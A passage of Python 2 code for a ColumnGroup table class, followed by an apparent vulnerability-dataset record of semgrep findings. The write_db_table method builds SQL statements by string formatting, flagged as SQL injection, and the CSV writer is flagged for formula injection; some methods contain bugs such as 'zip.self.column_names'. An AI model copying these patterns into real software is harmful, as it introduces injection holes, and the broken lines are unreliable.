self._name_to_col = dict(name_col_pairs)
self._column_names, self._columns = zip(*name_col_pairs)
# Check: Column names are unique
if len(name_col_pairs) != len(self._name_to_col):
raise ValueError("Column names must be unique.")
# Check: All columns have the same length
column_lengths = [ len(col) for col in self.columns ]
if len(frozenset(column_lengths)) > 1: # 0 is ok -> empty ColumnGroup
raise ValueError("Columns must have the same length: %s" % \
zip(self.column_names, column_lengths))
self._col_name_to_index = dict(zip(self._column_names,
range(self.num_cols)))
# self.Row = namedtuple('Row', self.column_names, rename=True)
###################### Query ######################
@property
def column_names(self):
"""Return column names, in the order they appear in the
ColumnGroup."""
return self._column_names
@property
def columns(self):
"""Return the column objects, in the order they appear in the
ColumnGroup."""
return self._columns
@property
def num_cols(self):
"""Return the number of columns."""
return len(self.columns)
@property
def num_rows(self):
"""Return the number of rows in the columns, or 0 if there are no
columns."""
if self.num_cols > 0:
return len(self.columns[0])
else:
return 0
@property
def rows(self):
return zip(*self.columns)
@property
def dict_rows(self):
return [dict(zip.self.column_names, row) for row in self.iter_rows()]
def sort_rows(self):
"""Return a ColumnGroup with the same columns as this one, but where
the rows have been sorted (sorts look at first column, then second, then
third, etc...)"""
return ColumnGroup.from_rows(self.column_names, sorted(self.rows))
def sort_rows_by(self, sort_col):
"""Return a ColumnGroup with the same columns as this one, but where
the rows have been sorted by the column name passed in."""
sort_col_idx = self.column_names.index(sort_col)
return ColumnGroup.from_rows(self.column_names,
sorted(self.rows,
key=itemgetter(sort_col_idx)))
def reject_rows_by_value(self, column_name, reject_value):
col = self[column_name]
new_rows = (row for i, row in enumerate(self.rows)
if col[i] != reject_value)
return ColumnGroup.from_rows(self.column_names, new_rows)
def reject_rows_if(self, reject_f):
new_rows = (self.row_from_dict(row_dict)
for row_dict in self.iter_dict_rows()
if not reject_f(row_dict))
return ColumnGroup.from_rows(self.column_names, new_rows)
def row_from_dict(self, d):
self._col_name_to_index
row = [None for i in range(self.num_cols)]
for col_name, val in d.items():
row[self._col_name_to_index[col_name]] = val
return tuple(row)
def merge_rows(self, select_func, merge_func):
"""Return a new ColumnGroup which has merged rows from this ColumnGroup,
with the following rules:
1. Rows to merge must be consecutive
2. select_func and merge_func should take dictionaries for their row
arguments (representing row1, and row2)
3. If two rows need to be merged, select_func(row1, row2) returns True
4. merge_func should return a dictionary that is the result of merging
row1 and row2
"""
rows = []
merge_log = {}
for key, row_grp in groupby(self.iter_dict_rows(), select_func):
row_grp_tpl = tuple(row_grp)
if len(row_grp_tpl) == 1:
row = self.row_from_dict(row_grp_tpl[0])
if len(row_grp_tpl) > 1:
row = self.row_from_dict(reduce(merge_func, row_grp_tpl))
merge_log[tuple(map(self.row_from_dict, row_grp_tpl))] = row
rows.append(row)
return ColumnGroup.from_rows(self.column_names, rows), merge_log
def merge_rows_by(self, col_name, merge_func):
return self.merge_rows(itemgetter(col_name), merge_func)
###################### Built-ins and Iterations ######################
def __add__(self, other):
return ColumnGroup( zip(self.column_names + other.column_names,
self.columns + other.columns) )
def __contains__(self, item):
return (item in self._name_to_col) or \
(item in self._name_to_col.values())
def __eq__(self, other):
return (self.column_names == other.column_names) and \
(self.columns == other.columns)
def __getattr__(self, name):
try:
return self._name_to_col[name]
except KeyError:
raise AttributeError(name)
def __getitem__(self, index):
"""Get column at this index if it's a number, or this column name if
it's a String."""
# print sorted(self._name_to_col.keys())
if isinstance(index, int):
return self._columns[index]
elif isinstance(index, basestring):
return self._name_to_col[index]
def __iter__(self):
"""Return name/column iteration"""
return izip(self.column_names, self.columns)
# def iter_named_rows(self):
# for row_tuple in izip(*self.columns):
# yield self.Row(row_tuple)
def iter_rows(self):
return izip(*self.columns)
def iter_dict_rows(self):
for row in self.iter_rows():
yield dict(zip(self.column_names, row))
def __len__(self):
return self.num_cols
def __repr__(self):
return "ColumnGroup(\n%s\n)" % \
",\n".join([ " " + repr(name_col_pair)
for name_col_pair in self ])
def __str__(self):
return self.to_csv()
###################### Selectors ######################
def map_names(self, old_to_new_names):
def _gen_remapped_pair(old_name):
if old_name in old_to_new_names:
return (old_to_new_names[old_name], self[old_name])
else:
return (old_name, self[old_name])
return ColumnGroup([ _gen_remapped_pair(col_name)
for col_name in self.column_names ])
def reject(self, *col_names):
"""Return a new ColumnGroup based on this one, with certain names
rejected. Since we're usually looking to just discard optional fields
and the like, there is no exception thrown if you try to reject a
column name that does not exist in the ColumnGroup."""
names_to_reject = frozenset(col_names)
return ColumnGroup([ (col_name, self[col_name])
for col_name in self.column_names
if col_name not in names_to_reject ])
def rejectf(self, reject_func):
return ColumnGroup([ (col_name, self[col_name])
for col_name in self.column_names
if not rejectf(col_name)])
def select(self, *col_names):
"""
Return a new ColumnGroup based on this ColumnGroup, but only selecting
certain columns. This can also be used to create a new ColumnGroup
with the columns in a different ordering.
"""
def _gen_name_col_pair(name):
"""Takes a name, which is either:
* a string indicating the column name or...
* a pair of strings indicating (old_col_name, new_col_name),
so that you can rename the columns you're selecting on.
"""
if isinstance(name, basestring):
return (name, self[name])
elif isinstance(name, tuple) and (len(name) == 2):
old_name, new_name = name
return (new_name, self[old_name])
else:
raise ValueError("Selection is only supported by name " \
"or (old_name, new_name) tuples.")
return ColumnGroup([ _gen_name_col_pair(col_name)
for col_name in col_names ])
def selectf(self, select_func, change_name_func=lambda x: x):
"""
Return a new ColumnGroup based on this ColumnGroup, but only selecting
columns for which select_func(column_name) returns True. If
change_name_func is defined, we will rename the columns using it.
"""
return ColumnGroup([(change_name_func(col_name), col)
for col_name, col in self
if select_func(col_name)])
def replace(self, **new_cols):
"""Return a new ColumnGroup that has the specified columns replaced with
new column values."""
return ColumnGroup([(col_name, new_cols.get(col_name, col))
for col_name, col in self])
def split(self, *col_names):
return self.select(*col_names), self.reject(*col_names)
def sort_columns(self):
return self.select(*sorted(self.column_names))
###################### IO ######################
# FIXME:
# * can use chardet to guess the encoding
def transform_rows(self, row_change_f):
return ColumnGroup.from_rows(self.column_names,
(self.row_from_dict(row_change_f(row))
for row in self.iter_dict_rows()))
@classmethod
def from_rows(cls, column_names, rows):
# force it to a list so that we can tell if it's empty (generators will
# return true even if they're empty). Memory inefficient kludge, but we
# don't care about memory as much any longer. :-/
rows = list(rows)
if not rows: # no rows because it's None or an empty list (just a header)
return cls([(cn, DataColumn.EMPTY) for cn in column_names])
else:
cols = [DataColumn(col) for col in zip(*rows)]
return cls(zip(column_names, cols))
@classmethod
def from_csv(cls, csv_input, strip_spaces=True, skip_blank_lines=True,
encoding="utf-8", delimiter=",", force_unique_col_names=False):
"""
Both strip_spaces and skip_blank_lines default to True because these
things often happen in CSV files that are exported from Excel.
"""
def _force_unique(col_headers):
seen_names = set()
unique_col_headers = list()
for i, col_name in enumerate(col_headers):
if col_name in seen_names:
col_name += "_%s" % i
seen_names.add(col_name)
unique_col_headers.append(col_name)
return unique_col_headers
def _pad_row(row):
if len(row) < num_cols:
for i in range(num_cols - len(row)):
row.append('')
return row
def _process_row(row):
if strip_spaces:
return _pad_row( [value.strip() for value in row] )
else:
return _pad_row( row )
if isinstance(csv_input, basestring):
csv_stream = StringIO(csv_input)
else:
csv_stream = csv_input
csv_reader = csv.reader(csv_stream, delimiter=delimiter)
column_headers = [header.strip() for header in csv_reader.next()]
if force_unique_col_names:
column_headers = _force_unique(column_headers)
num_cols = len(column_headers)
# Make a list to gather entries for each column in the data file...
raw_text_cols = [list() for i in range(num_cols)]
for row in csv_reader:
processed_row = _process_row(row)
# Add this new row if we either allow blank lines or if any field
# in the line is not blank. We do this to the processed row,
# because spaces may or may not be significant, depending on
# whether strip_spaces is True.
if (not skip_blank_lines) or any(processed_row):
for i in range(num_cols):
raw_text_cols[i].append(unicode(processed_row[i], encoding))
# Now take the raw data and put it into our DataColumn...
cols = [ DataColumn(raw_col) for raw_col in raw_text_cols ]
# column_headers ex: ['FirstName', 'LastName']
# cols ex:
# [ DataColumn(["David", "John"]), DataColumn(["Ormsbee", "Doe"]) ]
return ColumnGroup(zip(column_headers, cols))
def write(self, filename, show_row_nums=False, encoding="utf-8"):
with open(filename, "wb") as outfile:
self.to_csv(outfile, show_row_nums=show_row_nums, encoding=encoding)
def write_db_table(self, conn, table_name, primary_key=None, indexes=tuple()):
def _iter_cols_sql():
for col_name in self.column_names:
if col_name == primary_key:
yield "%s varchar primary key" % col_name
else:
yield "%s varchar" % col_name
cur = conn.cursor()
# create our table (get rid of the old one if it exists)
drop_table_sql = "drop table if exists %s" % table_name
create_table_sql = "create table %s(%s)" % \
(table_name, ", ".join(_iter_cols_sql()))
cur.execute(drop_table_sql)
cur.execute(create_table_sql)
# Now our indexes...
for index_col in indexes:
index_name = "%s_%s_idx" % (table_name, index_col)
cur.execute("drop index if exists %s" % index_name)
cur.execute("create index %s on %s(%s)" % \
(index_name, table_name, index_col))
# Now add our data
if self.num_rows > 0:
col_placeholders = ",".join(list("?" * self.num_cols))
insert_sql = u"insert into %s values (%s)" % \
(table_name, col_placeholders)
cur.executemany(insert_sql, self.iter_rows())
conn.commit()
cur.close()
def to_csv(self, stream=None, show_row_nums=False, encoding="utf-8"):
# We have the column data, now we need to write it out as a CSV
if stream:
stream_passed_in = True
else:
stream_passed_in = False
stream = StringIO()
def _encode(s):
return s.encode(encoding)
writer = csv.writer(stream) # use csv lib to do our string escaping
# Convert to bytes (str) for writing...
encoded_col_names = map(_encode, self.column_names)
encoded_rows = (map(_encode, row) for row in self.iter_rows())
if show_row_nums:
writer.writerow(['rowNum'] + encoded_col_names)
writer.writerows([str(i)] + row
for i, row in enumerate(encoded_rows, start=1))
else:
writer.writerow(encoded_col_names)
writer.writerows(encoded_rows)
if not stream_passed_in:
return stream.getvalue()
| 435 | 38.35 | 82 | 19 | 3,596 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_02a57268c92675c3_9c4a0bf4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 389, "line_end": 389, "column_start": 9, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 389, "col": 9, "offset": 15399}, "end": {"line": 389, "col": 36, "offset": 15426}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_02a57268c92675c3_3816016a", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 389, "line_end": 389, "column_start": 9, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 389, "col": 9, "offset": 15399}, "end": {"line": 389, "col": 36, "offset": 15426}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_02a57268c92675c3_a55b24a9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 390, "line_end": 390, "column_start": 9, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 390, "col": 9, "offset": 15435}, "end": {"line": 390, "col": 38, "offset": 15464}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_02a57268c92675c3_5c746568", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 390, "line_end": 390, "column_start": 9, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 390, "col": 9, "offset": 15435}, "end": {"line": 390, "col": 38, "offset": 15464}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_02a57268c92675c3_63f94f36", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 395, "line_end": 395, "column_start": 13, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 395, "col": 13, "offset": 15604}, "end": {"line": 395, "col": 64, "offset": 15655}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_02a57268c92675c3_6b2ba0b9", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 395, "line_end": 395, "column_start": 13, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 395, "col": 13, "offset": 15604}, "end": {"line": 395, "col": 64, "offset": 15655}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_02a57268c92675c3_a3332454", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 396, "line_end": 397, "column_start": 13, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 396, "col": 13, "offset": 15668}, "end": {"line": 397, "col": 61, "offset": 15772}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_02a57268c92675c3_280d3fe3", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 396, "line_end": 397, "column_start": 13, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 396, "col": 13, "offset": 15668}, "end": {"line": 397, "col": 61, "offset": 15772}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defusedcsv_02a57268c92675c3_ff3fa95c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defusedcsv", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "remediation": "defusedcsv.writer(stream)", "location": {"file_path": "unknown", "line_start": 421, "line_end": 421, "column_start": 18, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-1236: Improper Neutralization of Formula Elements in a CSV File", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://github.com/raphaelm/defusedcsv", "title": null}, {"url": "https://owasp.org/www-community/attacks/CSV_Injection", "title": null}, {"url": "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defusedcsv", "path": "/tmp/tmppq52ww6s/02a57268c92675c3.py", "start": {"line": 421, "col": 18, "offset": 16489}, "end": {"line": 421, "col": 36, "offset": 16507}, "extra": {"message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "fix": "defusedcsv.writer(stream)", "metadata": {"cwe": ["CWE-1236: Improper Neutralization of Formula Elements in a CSV File"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/raphaelm/defusedcsv", "https://owasp.org/www-community/attacks/CSV_Injection", "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities"], "category": "security", "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 9 | true | [
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.lang.security.audit.formatted-sql-query",
"rules.p... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"HIGH",
"MEDIUM",
"HIGH",
"MEDIUM",
"HIGH",
"MEDIUM",
"HIGH"
] | [
389,
389,
390,
390,
395,
395,
396,
396
] | [
389,
389,
390,
390,
395,
395,
397,
397
] | [
9,
9,
9,
9,
13,
13,
13,
13
] | [
36,
36,
38,
38,
64,
64,
61,
61
] | [
"A01:2017 - Injection",
